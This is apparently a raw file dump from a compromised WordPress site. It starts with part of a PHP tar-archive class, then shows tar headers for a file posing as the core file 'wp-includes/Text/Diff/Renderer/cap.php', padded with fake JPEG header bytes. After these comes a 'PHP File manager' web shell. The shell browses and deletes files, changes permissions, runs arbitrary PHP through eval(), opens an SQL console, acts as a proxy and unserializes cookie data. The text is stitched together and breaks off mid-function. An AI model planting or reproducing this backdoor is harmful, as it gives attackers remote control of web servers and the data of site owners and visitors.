					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           Renderer/cap.php.tar                                                                                0000644                 00000240000 15217306007 0010350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
